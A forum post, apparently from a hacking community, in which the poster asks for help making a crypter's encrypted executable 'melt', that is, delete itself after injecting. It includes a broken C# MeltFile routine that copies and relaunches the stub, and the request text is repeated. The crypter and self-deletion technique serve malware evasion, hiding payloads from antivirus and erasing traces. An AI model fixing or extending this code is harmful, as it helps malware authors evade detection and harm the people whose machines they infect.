Can someone help me with some code to melt a .exe at runtime?
So my cryter, makes an encrypted exe and at runtime it should delete itself after injection itself.
This is what i have right now, but it doesnt seem to work.
So my cryter, makes an encrypted exe and at runtime it should delete itself after injection itself.
This is what i have right now, but it doesnt seem to work.
Code
private static string stubLocation = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
private static string meltLocation = Assembly.GetEntryAssembly().Location;
public void MeltFile()
{
try
{
if(stubLocation.Contains(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)))
{
return;
}
string meltedFile = string.Format("{0}\\{1}.exe", meltLocation, "");
while(File.Exists(meltedFile))
{
meltedFile = string.Format("{0}\\{1}.exe", meltLocation, "");
}
File.Copy(stubLocation, meltedFile);
Process meltedStub = new Process();
meltedStub.StartInfo.FileName = meltedFile;
meltedStub.StartInfo.Arguments = stubLocation;
meltedStub.Start();
Environment.Exit(0);
}
catch
{
MessageBox.Show("ERROR");
}
}


![[Image: ezgif-2-dcabfc0d37ae.gif]](https://s3.gifyu.com/images/ezgif-2-dcabfc0d37ae.gif)